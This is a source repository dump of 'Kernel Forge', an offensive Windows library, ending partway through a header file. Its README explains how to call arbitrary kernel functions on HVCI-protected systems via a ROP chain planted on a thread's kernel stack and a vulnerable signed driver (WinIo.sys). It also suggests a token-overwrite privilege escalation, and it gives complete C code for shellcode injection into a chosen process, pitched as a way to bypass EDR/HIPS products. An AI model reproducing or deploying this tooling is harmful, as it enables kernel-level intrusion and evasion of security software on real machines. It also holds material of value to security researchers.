├── README.MD ├── common ├── common.cpp ├── common.h ├── debug.cpp ├── debug.h ├── ntdll_defs.h ├── ntdll_undocnt.h ├── peimage.cpp ├── peimage.h ├── service.cpp ├── service.h └── virtmem.h ├── dll_inject_shellcode.cpp ├── dll_inject_shellcode.h ├── docs └── images │ ├── kforge_example.png │ ├── rop_gadget.png │ ├── vtl_kernel_functions.png │ └── winio_signature.png ├── dummy.dll ├── dummy.pdb ├── dummy ├── dummy.cpp ├── dummy.vcxproj ├── dummy.vcxproj.filters ├── stdafx.cpp ├── stdafx.h └── targetver.h ├── include ├── kforge_driver.h └── kforge_library.h ├── kforge.dll ├── kforge.pdb ├── kforge.sln ├── kforge ├── kforge.cpp ├── kforge.def ├── kforge.vcxproj ├── kforge.vcxproj.filters ├── stdafx.h └── targetver.h ├── kforge_driver.lib ├── kforge_driver ├── kforge_driver.cpp ├── kforge_driver.vcxproj ├── kforge_driver.vcxproj.filters ├── pre_build.bat ├── stdafx.h ├── winio.cpp └── winio.h ├── kforge_example.exe ├── kforge_example.pdb ├── kforge_example ├── func_order.txt ├── kforge_example.cpp ├── kforge_example.vcxproj ├── kforge_example.vcxproj.filters ├── stdafx.cpp ├── stdafx.h └── targetver.h ├── kforge_library.lib ├── kforge_library ├── kforge_library.cpp ├── kforge_library.vcxproj ├── kforge_library.vcxproj.filters └── stdafx.h ├── tools └── make_header.py └── winio.sys /README.MD: -------------------------------------------------------------------------------- 1 | 2 | # Kernel Forge library for Windows 3 | 4 | [General information](#general-information) 5 | [Contents](#contents) 6 | [How does it work](#how-does-it-work) 7 | [Kernel Forge API](#kernel-forge-api) 8 | [Usage example](#usage-example) 9 | [Interfacing Secure Kernel with Kernel Forge](#interfacing-secure-kernel-with-kernel-forge) 10 | 11 | ## General information 12 | 13 | Today more and more Windows machines comes with VBS enabled by default which forces rootkits and kernel exploits developers to accept new challenges. [Windows Virtualization-based Security (VBS)](https://docs.microsoft.com/en-us/windows-hardware/design/device-experiences/oem-vbs) uses hardware virtualization features and Hyper-V to host a number of security services, providing them with greatly increased protection from vulnerabilities in the operating system, and preventing the use of malicious exploits which attempt to defeat protections. One of such services is [Hypervisor-Enforced Code Integrity (HVCI)](https://docs.microsoft.com/en-us/windows/security/threat-protection/device-guard/enable-virtualization-based-protection-of-code-integrity) that uses VBS to significantly strengthen code integrity policy enforcement. 14 | 15 | * **Q1:** On HVCI enabled target I can't execute my own kernel code anymore, even with most awesome local privileges escalation kernel exploit that gives powerful arbitrary memory read write primitives. 16 | 17 | * **A1:** You can use data only attack to overwrite process token, gain Local System and load any legitimate 3-rd party WHQL signed driver that provides an access to I/O ports, physical memory and MSR registers. 18 | 19 | * **Q2:** But what if I want to call an arbitrary kernel functions with arbitrary arguments? 20 | 21 | * **A2:** That's why I made Kernel Forge library, it provides convenient API for this exact purpose. 22 | 23 | Kernel Forge consists from two main components: the first library implements main functionality required to call an arbitrary kernel functions and the second library used to delegate arbitrary memory read write primitives: it can be local privileges escalation exploit or just some wrapper around 3-rd party WHQL signed loldriver. For this project I'm using `WinIo.sys` variation that provides full physical memory access and works just fine even with enabled HVCI: 24 | 25 | 26 | 27 | 28 | ## Contents 29 | 30 | Kernel Forge code base consists from the following files: 31 | 32 | * `kforge_driver/` − Static library of `WinIo.sys` driver wrapper that provides memory read/write API. 33 | 34 | * `kforge_library/` − Static library that implements main functionality of the Kernel Forge. 35 | 36 | * `kforge/` − DLL version of the Kernel Forge library for its interfacing with different languages using CFFI. 37 | 38 | * `include/kforge_driver.h` − `kforge_driver.lib` program interface. 39 | 40 | * `include/kforge_library.h` − `kforge_library.lib` program interface. 41 | 42 | * `kforge_example/` − An example program that uses `kforge_library.lib` API to perform a classical kernel mode to user mode DLL injection attack. 43 | 44 | * `dll_inject_shellcode.cpp`/`dll_inject_shellcode.h` − Shellcode used by `kforge_example.exe` to handle injected DLL image imports and do other things. 45 | 46 | * `dummy/` − Dummy DLL project to use with `kforge_example.exe` that shows message box after its injection into some process. 47 | 48 | 49 | ## How does it work 50 | 51 | The idea behind Kernel Forge is very simple, there's no any innovative exploitation techniques, just common things already known for security researches but in more convenient form of the library to use it with 3-rd party projects. 52 | 53 | Many kernel mode payloads can be considered just as sequence of function calls, but as long as we can't have any attacker controlled executable code in kernel space because of HVCI, Kernel Forge uses the following approach to perform such kernel function calls from user mode: 54 | 55 | 1. Create new event object and new dummy thread that calls `WaitForSingleObject()` on this event to switch itself into the wait state. At this moment dummy thread call stack has the following look: 56 | 57 | ``` 58 | Child-SP RetAddr Call Site 59 | fffff205`b0bfa660 fffff805`16265850 nt!KiSwapContext+0x76 60 | fffff205`b0bfa7a0 fffff805`16264d7f nt!KiSwapThread+0x500 61 | fffff205`b0bfa850 fffff805`16264623 nt!KiCommitThreadWait+0x14f 62 | fffff205`b0bfa8f0 fffff805`1662cae1 nt!KeWaitForSingleObject+0x233 63 | fffff205`b0bfa9e0 fffff805`1662cb8a nt!ObWaitForSingleObject+0x91 64 | fffff205`b0bfaa40 fffff805`164074b5 nt!NtWaitForSingleObject+0x6a 65 | fffff205`b0bfaa80 00007ffc`f882c6a4 nt!KiSystemServiceCopyEnd+0x25 (TrapFrame @ fffff205`b0bfaa80) 66 | 00000094`169ffce8 00007ffc`f630a34e ntdll!NtWaitForSingleObject+0x14 67 | 00000094`169ffcf0 00007ff6`66d72edd KERNELBASE!WaitForSingleObjectEx+0x8e 68 | 00000094`169ffd90 00000000`00000000 kforge_example!DummyThread+0xd 69 | ``` 70 | 71 | 2. Meanwhile, main thread uses `NtQuerySystemInformation()` native API function with `SystemHandleInformation` information class to find dummy thread `_KTHREAD` structure address. 72 | 73 | 3. Arbitrary memory read primitive is used to obtain `StackBase` and `KernelStack` fields of `_KTHREAD` structure that keeps an information about dummy thread kernel stack location. 74 | 75 | 4. Arbitrary memory read primitive is used to traverse dummy thread kernel stack starting from its bottom to locate return address from `nt!NtWaitForSingleObject()` back to the `nt!KiSystemServiceCopyEnd()` function of system calls dispatcher. 76 | 77 | 5. Then Kernel Forge constructs some ROP chain to call desired kernel function with specified arguments, save its return value into the user mode memory and pass execution to `nt!ZwTerminateThread()` for graceful shutdown of dummy thread after the ROP chain execution. Arbitrary memory write primitive is used to overwrite previously located return address with an address of the first ROP gadget: 78 | 79 | 80 | 81 | 6. And finally, Kernel Forge main thread sets event object to signaled state which resumes dummy thread and triggers ROP chain execution. 82 | 83 | As you can see, it's pretty reliable technique with no any magic involved. Of course, this approach has a plenty of obvious limitations: 84 | 85 | * You can't use Kernel Forge to call `nt!KeStackAttachProcess()` function that changes current process address space. 86 | 87 | * You can execute your calls at passive IRQL level only. 88 | 89 | * You can't call any functions that registers kernel mode callbacks, like `nt!IoSetCompletionRoutine()`, `nt! 90 | PsSetCreateProcessNotifyRoutine()` and others. 91 | 92 | In addition, `kforge_driver.lib` is relying on `WinIo.sys` driver that provides only physical memory access. To achieve virtual memory access having this we need to find PML4 page map location of the kernel virtual address space. Currently I'm using `PROCESSOR_START_BLOCK` structure scan approach to get PML4 address from one of its fields. However, `PROCESSOR_START_BLOCK` is not present on machines with legacy boot, but this fact is rather not a real problem because you can't have HVCI support on such machines due to its strict requirements. 93 | 94 | However, even with mentioned limitations you still can develop pretty much useful kernel mode payloads for HVCI enabled targets. On the picture you can see `kforge_example.exe` utility that calls appropriate kernel functions with `kfroge_library.lib` API to perform DLL injection into the user mode process with `KernelMode` value of the `KPROCESSOR_MODE` which might be suitable for EDR/HIPS security products bypass: 95 | 96 | 97 | 98 | 99 | ## Kernel Forge API 100 | 101 | Kernel Forge library provides the following C API: 102 | 103 | ```C++ 104 | /** 105 | * Initialize Kernel Forge library: reads kernel image into the user mode memory, 106 | * finds needed ROP gadgets, etc, etc. 107 | * 108 | * @return TRUE if success or FALSE in case of error. 109 | */ 110 | BOOL KfInit(void); 111 | ``` 112 | 113 | ```C++ 114 | /** 115 | * Uninitialize Kernel Forge library when you don't need to use its API anymore. 116 | * 117 | * @return TRUE if success and FALSE in case of error. 118 | */ 119 | BOOL KfUninit(void); 120 | ``` 121 | 122 | ```C++ 123 | /** 124 | * Call kernel function by its name, it can be exported ntoskrnl.exe function 125 | * or not exported Zw function. 126 | * 127 | * @param lpszProcName Name of the function to call. 128 | * @param Args Array with its arguments. 129 | * @param dwArgsCount Number of the arguments. 130 | * @param pRetVal Pointer to the variable that receives return value of the function. 131 | * @return TRUE if success or FALSE in case of error. 132 | */ 133 | BOOL KfCall(char *lpszProcName, PVOID *Args, DWORD dwArgsCount, PVOID *pRetVal); 134 | ``` 135 | 136 | ```C++ 137 | /** 138 | * Call an arbitrary function by its kernel address. 139 | * 140 | * @param ProcAddr Address of the function to call. 141 | * @param Args Array with its arguments. 142 | * @param dwArgsCount Number of the arguments. 143 | * @param pRetVal Pointer to the variable that receives return value of the function. 144 | * @return TRUE if success or FALSE in case of error. 145 | */ 146 | BOOL KfCallAddr(PVOID ProcAddr, PVOID *Args, DWORD dwArgsCount, PVOID *pRetVal); 147 | ``` 148 | 149 | ```C++ 150 | /** 151 | * Get system call number by appropriate ntdll native API function name. 152 | * 153 | * @param lpszProcName Name of the function. 154 | * @param pdwRet Pointer to the variable that receives system call number. 155 | * @return TRUE if success or FALSE in case of error. 156 | */ 157 | BOOL KfGetSyscallNumber(char *lpszProcName, PDWORD pdwRet); 158 | ``` 159 | 160 | ```C++ 161 | /** 162 | * Get an actual kernel address of the function exported by ntoskrnl.exe image. 163 | * 164 | * @param lpszProcName Name of exported function. 165 | * @return Address of the function or NULL in case of error. 166 | */ 167 | PVOID KfGetKernelProcAddress(char *lpszProcName); 168 | ``` 169 | 170 | ```C++ 171 | /** 172 | * Get an actual kernel address of not exported Zw function of ntoskrnl.exe image 173 | * using signature based search. 174 | * 175 | * @param lpszProcName Name of Zw function to search for. 176 | * @return Address of the function or NULL in case of error. 177 | */ 178 | PVOID KfGetKernelZwProcAddress(char *lpszProcName); 179 | ``` 180 | 181 | ```C++ 182 | /** 183 | * Wrapper that uses KfCall() to execute nt!ExAllocatePool() function to allocate 184 | * specified amount of non paged kernel heap memory. 185 | * 186 | * @param Size Number of bytes to allocate. 187 | * @return Kernel address of allocated memory or NULL in case of error. 188 | */ 189 | PVOID KfHeapAlloc(SIZE_T Size); 190 | ``` 191 | 192 | ```C++ 193 | /** 194 | * Wrapper that uses KfCall() to execute nt!ExAllocatePool() function to allocate 195 | * specified amount of non paged kernel heap memory and copy specified data from 196 | * the user mode into the allocated memory. 197 | * 198 | * @param Size Number of bytes to allocate. 199 | * @param Data Data to copy into the allocated memory. 200 | * @return Kernel address of allocated memory or NULL in case of error. 201 | */ 202 | PVOID KfHeapAllocData(SIZE_T Size, PVOID Data); 203 | ``` 204 | 205 | ```C++ 206 | /** 207 | * Wrapper that uses KfCall() to execute nt!ExFreePool() function to free the memory 208 | * that was allocated by KfHeapAlloc() or KfHeapAllocData() functions. 209 | * 210 | * @param Addr Address of the memory to free. 211 | */ 212 | void KfHeapFree(PVOID Addr); 213 | ``` 214 | 215 | ```C++ 216 | /** 217 | * Wrapper that uses KfCall() to execute nt!memcpy() function to copy arbitrary data 218 | * between kernel mode and user mode or vice versa. 219 | * 220 | * @param Dst Address of the destination memory. 221 | * @param Src Address of the source memory. 222 | * @param Size Number of bytes to copy. 223 | * @return Destination memory address if success or NULL in case of error. 224 | */ 225 | PVOID KfMemCopy(PVOID Dst, PVOID Src, SIZE_T Size); 226 | ``` 227 | 228 | ```C++ 229 | /** 230 | * Wrapper that uses KfCall() to execute nt!memset() function to fill memory region 231 | * with specified character. 232 | * 233 | * @param Dst Address of the destination memory. 234 | * @param Val Character to fill. 235 | * @param Size Number of bytes to fill. 236 | * @return Destination memory address if success or NULL in case of error. 237 | */ 238 | PVOID KfMemSet(PVOID Dst, int Val, SIZE_T Size); 239 | ``` 240 | 241 | To use Kernel Forge with your own loldriver or kernel exploit you just need to implement a custom version of `kforge_driver.lib` library with fairly simple program interface. 242 | 243 | 244 | ## Usage example 245 | 246 | Here you can see a bit simplified C code that uses Kernel Forge API to inject caller specified shellcode into the user mode process by its PID: 247 | 248 | ```C++ 249 | BOOL ShellcodeInject(HANDLE ProcessId, PVOID Shellcode, SIZE_T ShellcodeSize) 250 | { 251 | BOOL bRet = FALSE; 252 | DWORD_PTR Status = 0; 253 | HANDLE hProcess = NULL, hThread = NULL; 254 | SIZE_T MemSize = ShellcodeSize; 255 | PVOID MemAddr = NULL; 256 | 257 | CLIENT_ID ClientId; 258 | OBJECT_ATTRIBUTES ObjAttr; 259 | 260 | InitializeObjectAttributes(&ObjAttr, NULL, OBJ_KERNEL_HANDLE, NULL, NULL); 261 | 262 | ClientId.UniqueProcess = ProcessId; 263 | ClientId.UniqueThread = NULL; 264 | 265 | // initialize Kernel Forge library 266 | if (!KfInit()) 267 | { 268 | goto _end; 269 | } 270 | 271 | PVOID Args_1[] = { KF_ARG(&hProcess), // ProcessHandle 272 | KF_ARG(PROCESS_ALL_ACCESS), // DesiredAccess 273 | KF_ARG(&ObjAttr), // ObjectAttributes 274 | KF_ARG(&ClientId) }; // ClientId 275 | 276 | // open the target process by its PID 277 | if (!KfCall("ZwOpenProcess", Args_1, 4, KF_RET(&Status))) 278 | { 279 | goto _end; 280 | } 281 | 282 | if (NT_ERROR(Status)) 283 | { 284 | goto _end; 285 | } 286 | 287 | PVOID Args_2[] = { KF_ARG(hProcess), // ProcessHandle 288 | KF_ARG(&MemAddr), // BaseAddress 289 | KF_ARG(0), // ZeroBits 290 | KF_ARG(&MemSize), // RegionSize 291 | KF_ARG(MEM_COMMIT | MEM_RESERVE), // AllocationType 292 | KF_ARG(PAGE_EXECUTE_READWRITE) }; // Protect 293 | 294 | // allocate memory for the shellcode 295 | if (!KfCall("ZwAllocateVirtualMemory", Args_2, 6, KF_RET(&Status))) 296 | { 297 | goto _end; 298 | } 299 | 300 | if (NT_ERROR(Status)) 301 | { 302 | goto _end; 303 | } 304 | 305 | PVOID Args_3[] = { KF_ARG(hProcess), // ProcessHandle 306 | KF_ARG(MemAddr), // BaseAddress 307 | KF_ARG(Shellcode), // Buffer 308 | KF_ARG(ShellcodeSize), // NumberOfBytesToWrite 309 | KF_ARG(NULL) }; // NumberOfBytesWritten 310 | 311 | // copy shellcode data into the allocated memory 312 | if (!KfCall("ZwWriteVirtualMemory", Args_3, 5, KF_RET(&Status))) 313 | { 314 | goto _end; 315 | } 316 | 317 | if (NT_ERROR(Status)) 318 | { 319 | goto _end; 320 | } 321 | 322 | PVOID Args_4[] = { KF_ARG(hProcess), // ProcessHandle 323 | KF_ARG(NULL), // SecurityDescriptor 324 | KF_ARG(FALSE), // CreateSuspended 325 | KF_ARG(0), // StackZeroBits 326 | KF_ARG(NULL), // StackReserved 327 | KF_ARG(NULL), // StackCommit 328 | KF_ARG(MemAddr), // StartAddress 329 | KF_ARG(NULL), // StartParameter 330 | KF_ARG(&hThread), // ThreadHandle 331 | KF_ARG(&ClientId) }; // ClientId 332 | 333 | // create new thread to execute the shellcode 334 | if (!KfCall("RtlCreateUserThread", Args_4, 10, KF_RET(&Status))) 335 | { 336 | goto _end; 337 | } 338 | 339 | if (NT_SUCCESS(Status)) 340 | { 341 | // shellcode was successfully injected 342 | bRet = TRUE; 343 | } 344 | 345 | _end: 346 | 347 | // uninitialize Kernel Forge library 348 | KfUninit(); 349 | 350 | return bRet; 351 | } 352 | ``` 353 | 354 | For more complete example please refer to the `kforge_example.exe` source code. 355 | 356 | 357 | ## Interfacing Secure Kernel with Kernel Forge 358 | 359 | On VBS/HVCI enabled machines Hyper-V functionality is employed to logically divide the system into the two separate "worlds": normal world (VTL0) running a regular NT kernel (ntoskrnl) that we’re all familiar with and isolated secure world (VTL1) running a Secure Kernel (SK). To learn more about VBS/HVCI internals I can recommend you the following materials: 360 | 361 | * [Live forensics on the Windows 10 secure kernel](https://www.semanticscholar.org/paper/Live-forensics-on-the-Windows-10-secure-kernel.-Brendmo/e275cc28c5c8e8e158c45e5e773d0fa3da01e118) by Hans Kristian Brendmo 362 | 363 | * [Work Package 6: Virtual Secure Mode](https://www.bsi.bund.de/SharedDocs/Downloads/DE/BSI/Cyber-Sicherheit/SiSyPHus/Workpackage6_Virtual_Secure_Mode.pdf?__blob=publicationFile&v=2) by [The BSI](https://www.bsi.bund.de/EN/TheBSI/thebsi_node.html) 364 | 365 | * [Battle Of The SKM And IUM: How Windows 10 Rewrites OS Architecture](https://www.youtube.com/watch?v=LqaWIn4y26E) by [Alex Ionescu](https://twitter.com/aionescu) 366 | 367 | * [Breaking VSM by Attacking Secure Kernel](https://i.blackhat.com/USA-20/Thursday/us-20-Amar-Breaking-VSM-By-Attacking-SecureKernal.pdf) by [Saar Amar](https://twitter.com/AmarSaar) and [Daniel King](https://twitter.com/long123king) 368 | 369 | Also, have a look at my Hyper-V backdoor project that allows to bypass HCVI, load custom kernel drivers in VTL1, run 3-rd party trustlets in Isolated User Mode (IUM) and do many others things. 370 | 371 | To communicate with Secure Kernel ntoskrnl uses special VTL0 to VTL1 hypercalls documented in [Hyper-V Hypervisor Top-Level Functional Specification](https://docs.microsoft.com/en-us/virtualization/hyper-v-on-windows/reference/tlfs) which are performed by `nt!HvlSwitchToVsmVtl1()` helper function. This not exported function is used by dozens of others not exported ntoskrnl functions to perform various actions, most of them has `Vsl` prefix: 372 | 373 | 374 | 375 | This set of `Vsl` functions exposes particularly interesting attack surface for fuzzing and exploitation of VTL1 and Secure Kernel isolated environment. Using Kernel Forge you can call this functions from user mode program without use of any complicated and not very convenient solutions like my Hyper-V backdoor or QEMU based debugger. To interact with Secure Kernel by calling `Vsl` functions of NT kernel it's more suitable to use `kforge.dll` from Python code with [ctypes library](https://docs.python.org/3/library/ctypes.html) as foreign functions interface and something like [pdbparse](https://github.com/moyix/pdbparse) to extract not exported functions addresses from debug symbols. 376 | 377 | 378 | ## TODO 379 | 380 | * At this moment Kernel Forge has no support of chained calls, ie., single shot of the dummy thread can execute only one user specified kernel function. However, thread kernel stack has enough of free space to fit more ROP gadgets which might allow to perform multiple calls as single sequence. Such feature might be used to call various kernel functions designed to work in pair (like `KeStackAttachProcess`/`KeUnstackDetachProcess`, `KeRaiseIrql`/`KeLowerIrql`, etc.) and overcome some of the limitations described above. 381 | 382 | 383 | ## Developed by 384 | 385 | Dmytro Oleksiuk (aka Cr4sh) 386 | 387 | cr4sh0@gmail.com
388 | http://blog.cr4.sh
389 | [@d_olex](http://twitter.com/d_olex)
390 | -------------------------------------------------------------------------------- /common/common.cpp: -------------------------------------------------------------------------------- 1 | #include "stdafx.h" 2 | //-------------------------------------------------------------------------------------- 3 | char *GetNameFromFullPath(char *lpszPath) 4 | { 5 | char *lpszName = lpszPath; 6 | 7 | for (size_t i = 0; i < strlen(lpszPath); i++) 8 | { 9 | if (lpszPath[i] == '\\' || lpszPath[i] == '/') 10 | { 11 | lpszName = lpszPath + i + 1; 12 | } 13 | } 14 | 15 | return lpszName; 16 | } 17 | //-------------------------------------------------------------------------------------- 18 | BOOL ReadFromFile(HANDLE hFile, PVOID *pData, PDWORD pdwDataSize) 19 | { 20 | BOOL bRet = FALSE; 21 | 22 | DWORD dwDataSizeHigh = 0; 23 | DWORD dwDataSize = GetFileSize(hFile, &dwDataSizeHigh); 24 | if (dwDataSize > 0) 25 | { 26 | if (dwDataSizeHigh != 0) 27 | { 28 | DbgMsg(__FILE__, __LINE__, __FUNCTION__"() ERROR: File is too large\n"); 29 | return FALSE; 30 | } 31 | 32 | PVOID Data = M_ALLOC(dwDataSize); 33 | if (Data) 34 | { 35 | DWORD dwReaded = 0; 36 | 37 | SetFilePointer(hFile, 0, NULL, FILE_BEGIN); 38 | 39 | if (ReadFile(hFile, Data, dwDataSize, &dwReaded, NULL)) 40 | { 41 | *pData = Data; 42 | *pdwDataSize = dwDataSize; 43 | 44 | bRet = TRUE; 45 | } 46 | else 47 | { 48 | DbgMsg(__FILE__, __LINE__, "ReadFile() ERROR %d\n", GetLastError()); 49 | 50 | M_FREE(Data); 51 | } 52 | } 53 | else 54 | { 55 | DbgMsg(__FILE__, __LINE__, "M_ALLOC() ERROR %d\n", GetLastError()); 56 | } 57 | } 58 | else 59 | { 60 | DbgMsg(__FILE__, __LINE__, __FUNCTION__"(): File is empty\n"); 61 | } 62 | 63 | return bRet; 64 | } 65 | 66 | BOOL ReadFromFile(LPCTSTR lpszFileName, PVOID *pData, PDWORD pdwDataSize) 67 | { 68 | BOOL bRet = FALSE; 69 | 70 | // open file for reading 71 | HANDLE hFile = CreateFile( 72 | lpszFileName, GENERIC_READ, FILE_SHARE_READ | FILE_SHARE_WRITE | FILE_SHARE_DELETE, 73 | NULL, OPEN_EXISTING, 0, NULL 74 | ); 75 | if (hFile != INVALID_HANDLE_VALUE) 76 | { 77 | if (pData == NULL || pdwDataSize == NULL) 78 | { 79 | // just check for existing file 80 | bRet = TRUE; 81 | } 82 | else 83 | { 84 | // read data from the file 85 | bRet = ReadFromFile(hFile, pData, pdwDataSize); 86 | } 87 | 88 | CloseHandle(hFile); 89 | } 90 | else 91 | { 92 | DbgMsg(__FILE__, __LINE__, "CreateFile() ERROR %d\n", GetLastError()); 93 | } 94 | 95 | return bRet; 96 | } 97 | //-------------------------------------------------------------------------------------- 98 | BOOL DumpToFile(HANDLE hFile, PVOID Data, DWORD dwDataSize) 99 | { 100 | BOOL bRet = FALSE; 101 | DWORD dwWritten = 0; 102 | 103 | // write starting from the beginning of the file 104 | SetFilePointer(hFile, 0, NULL, FILE_BEGIN); 105 | 106 | if (WriteFile(hFile, Data, dwDataSize, &dwWritten, NULL)) 107 | { 108 | SetEndOfFile(hFile); 109 | bRet = TRUE; 110 | } 111 | else 112 | { 113 | DbgMsg(__FILE__, __LINE__, "WriteFile() ERROR %d\n", GetLastError()); 114 | } 115 | 116 | return bRet; 117 | } 118 | 119 | BOOL DumpToFile(char *lpszFileName, PVOID Data, DWORD dwDataSize) 120 | { 121 | BOOL bRet = FALSE; 122 | 123 | // open file for writing 124 | HANDLE hFile = CreateFile(lpszFileName, GENERIC_WRITE, 0, NULL, CREATE_ALWAYS, 0, NULL); 125 | if (hFile != INVALID_HANDLE_VALUE) 126 | { 127 | // write data to the file 128 | bRet = DumpToFile(hFile, Data, dwDataSize); 129 | CloseHandle(hFile); 130 | } 131 | else 132 | { 133 | DbgMsg(__FILE__, __LINE__, "CreateFile() ERROR %d\n", GetLastError()); 134 | } 135 | 136 | return bRet; 137 | } 138 | //-------------------------------------------------------------------------------------- 139 | int LoadPrivileges(char *lpszName) 140 | { 141 | BOOL bRet = FALSE; 142 | HANDLE hToken = NULL; 143 | TOKEN_PRIVILEGES Privs; 144 | LUID Luid; 145 | 146 | if (!OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken)) 147 | { 148 | DbgMsg(__FILE__, __LINE__, "OpenProcessToken() ERROR %d\n", GetLastError()); 149 | goto _end; 150 | } 151 | 152 | if (!LookupPrivilegeValueA(NULL, lpszName, &Luid)) 153 | { 154 | DbgMsg(__FILE__, __LINE__, "LookupPrivilegeValue() ERROR %d\n", GetLastError()); 155 | goto _end; 156 | } 157 | 158 | Privs.PrivilegeCount = 1; 159 | Privs.Privileges[0].Luid = Luid; 160 | Privs.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; 161 | 162 | if (!AdjustTokenPrivileges(hToken, FALSE, &Privs, sizeof (Privs), NULL, NULL)) 163 | { 164 | DbgMsg(__FILE__, __LINE__, "AdjustTokenPrivileges() ERROR %d\n", GetLastError()); 165 | goto _end; 166 | } 167 | 168 | bRet = TRUE; 169 | 170 | _end: 171 | 172 | if (hToken) 173 | { 174 | CloseHandle(hToken); 175 | } 176 | 177 | return bRet; 178 | } 179 | //-------------------------------------------------------------------------------------- 180 | PVOID GetSystemInformation(SYSTEM_INFORMATION_CLASS InfoClass) 181 | { 182 | NTSTATUS Status = 0; 183 | ULONG RetSize = 0, Size = 0x100; 184 | PVOID Info = NULL; 185 | 186 | GET_NATIVE(NtQuerySystemInformation); 187 | 188 | if (f_NtQuerySystemInformation == NULL) 189 | { 190 | DbgMsg(__FILE__, __LINE__, "ERROR: Unable to obtain needed functions\n"); 191 | return NULL; 192 | } 193 | 194 | while (true) 195 | { 196 | RetSize = 0; 197 | 198 | // allocate memory for system information 199 | if ((Info = M_ALLOC(Size)) == NULL) 200 | { 201 | DbgMsg(__FILE__, __LINE__, "M_ALLOC() ERROR %d\n", GetLastError()); 202 | return NULL; 203 | } 204 | 205 | // query information 206 | if ((Status = f_NtQuerySystemInformation(InfoClass, Info, Size, &RetSize)) == STATUS_INFO_LENGTH_MISMATCH) 207 | { 208 | // buffer is too small 209 | M_FREE(Info); 210 | 211 | // allocate more memory and try again 212 | Size = RetSize + 0x100; 213 | } 214 | else 215 | { 216 | break; 217 | } 218 | } 219 | 220 | if (!NT_SUCCESS(Status)) 221 | { 222 | DbgMsg(__FILE__, __LINE__, "NtQuerySystemInformation() ERROR 0x%.8x\n", Status); 223 | 224 | if (Info) 225 | { 226 | // cleanup 227 | M_FREE(Info); 228 | } 229 | 230 | return NULL; 231 | } 232 | 233 | return Info; 234 | } 235 | //-------------------------------------------------------------------------------------- 236 | DWORD GetThreadState(DWORD dwProcessId, DWORD dwThreadId) 237 | { 238 | DWORD Ret = -1; 239 | 240 | // query processes and threads information 241 | PSYSTEM_PROCESS_INFORMATION ProcessInfo = 242 | (PSYSTEM_PROCESS_INFORMATION)GetSystemInformation(SystemProcessInformation); 243 | 244 | if (ProcessInfo) 245 | { 246 | PSYSTEM_PROCESS_INFORMATION Info = ProcessInfo; 247 | 248 | while (true) 249 | { 250 | // check for desired process 251 | if (Info->UniqueProcessId == (HANDLE)dwProcessId) 252 | { 253 | // enumerate treads 254 | for (DWORD i = 0; i < Info->NumberOfThreads; i += 1) 255 | { 256 | // check for desired thread 257 | if (Info->Threads[i].ClientId.UniqueThread == (HANDLE)dwThreadId) 258 | { 259 | Ret = Info->Threads[i].ThreadState; 260 | goto _end; 261 | } 262 | } 263 | 264 | break; 265 | } 266 | 267 | if (Info->NextEntryOffset == 0) 268 | { 269 | // end of the list 270 | break; 271 | } 272 | 273 | // go to the next process info entry 274 | Info = (PSYSTEM_PROCESS_INFORMATION)RVATOVA(Info, Info->NextEntryOffset); 275 | } 276 | _end: 277 | M_FREE(ProcessInfo); 278 | } 279 | 280 | return Ret; 281 | } 282 | //-------------------------------------------------------------------------------------- 283 | PVOID GetObjectAddress(HANDLE hObject) 284 | { 285 | PVOID Ret = NULL; 286 | 287 | // query all system handles information 288 | PSYSTEM_HANDLE_INFORMATION HandleInfo = 289 | (PSYSTEM_HANDLE_INFORMATION)GetSystemInformation(SystemHandleInformation); 290 | 291 | if (HandleInfo) 292 | { 293 | for (DWORD i = 0; i < HandleInfo->NumberOfHandles; i += 1) 294 | { 295 | // lookup for pointer to the our object 296 | if (HandleInfo->Handles[i].UniqueProcessId == GetCurrentProcessId() && 297 | HandleInfo->Handles[i].HandleValue == (USHORT)hObject) 298 | { 299 | Ret = HandleInfo->Handles[i].Object; 300 | break; 301 | } 302 | } 303 | 304 | M_FREE(HandleInfo); 305 | } 306 | 307 | return Ret; 308 | } 309 | //-------------------------------------------------------------------------------------- 310 | // EoF 311 | -------------------------------------------------------------------------------- /common/common.h: -------------------------------------------------------------------------------- 1 | 2 | #define RVATOVA(_base_, _offset_) ((PUCHAR)(_base_) + (ULONG)(_offset_)) 3 | 4 | // numeric values alignment 5 | #define _ALIGN_DOWN(_val_, _align_) ((_val_) & ~((_align_) - 1)) 6 | #define _ALIGN_UP(_val_, _align_) (((_val_) & ((_align_) - 1)) ? _ALIGN_DOWN((_val_), (_align_)) + (_align_) : (_val_)) 7 | 8 | #define _HI_DWORD(_qw_) ((ULONG)(((ULONG64)(_qw_) >> 32) & 0xffffffff)) 9 | #define _LO_DWORD(_qw_) ((ULONG)(ULONG64)(_qw_)) 10 | 11 | #define _LO_WORD(_dw_) ((USHORT)(((ULONG)(_dw_)) & 0xffff)) 12 | #define _HI_WORD(_dw_) ((USHORT)((((ULONG)(_dw_)) >> 16) & 0xffff)) 13 | 14 | #define _LO_BYTE(_w_) ((UCHAR)(((ULONG)(_w_)) & 0xff)) 15 | #define _HI_BYTE(_w_) ((UCHAR)((((ULONG)(_w_)) >> 8) & 0xff)) 16 | 17 | // heap allocation functions 18 | #define M_ALLOC(_size_) LocalAlloc(LMEM_FIXED | LMEM_ZEROINIT, (_size_)) 19 | #define M_FREE(_addr_) LocalFree((_addr_)) 20 | 21 | #define TIME_ABSOLUTE(_t_) (_t_) 22 | #define TIME_RELATIVE(_t_) (-(_t_)) 23 | 24 | // waitable timers macro definitions 25 | #define TIME_NANOSECONDS(_t_) (((signed __int64)(_t_)) / 100L) 26 | #define TIME_MICROSECONDS(_t_) (((signed __int64)(_t_)) * TIME_NANOSECONDS(1000L)) 27 | #define TIME_MILLISECONDS(_t_) (((signed __int64)(_t_)) * TIME_MICROSECONDS(1000L)) 28 | #define TIME_SECONDS(_t_) (((signed __int64)(_t_)) * TIME_MILLISECONDS(1000L)) 29 | 30 | // atomic access wrappers 31 | #define INTERLOCKED_INC(_addr_) InterlockedIncrement((LONG *)(_addr_)) 32 | #define INTERLOCKED_GET(_addr_) InterlockedExchangeAdd((LONG *)(_addr_), 0) 33 | #define INTERLOCKED_SET(_addr_, _val_) InterlockedExchange((LONG *)(_addr_), (LONG)(_val_)) 34 | 35 | #ifdef _X86_ 36 | 37 | #define INTERLOCKED_PTR_GET(_addr_) INTERLOCKED_GET(_addr_) 38 | #define INTERLOCKED_PTR_SET(_addr_, _val_) INTERLOCKED_PTR_SET(_addr_, _val_) 39 | 40 | #else _AMD64_ 41 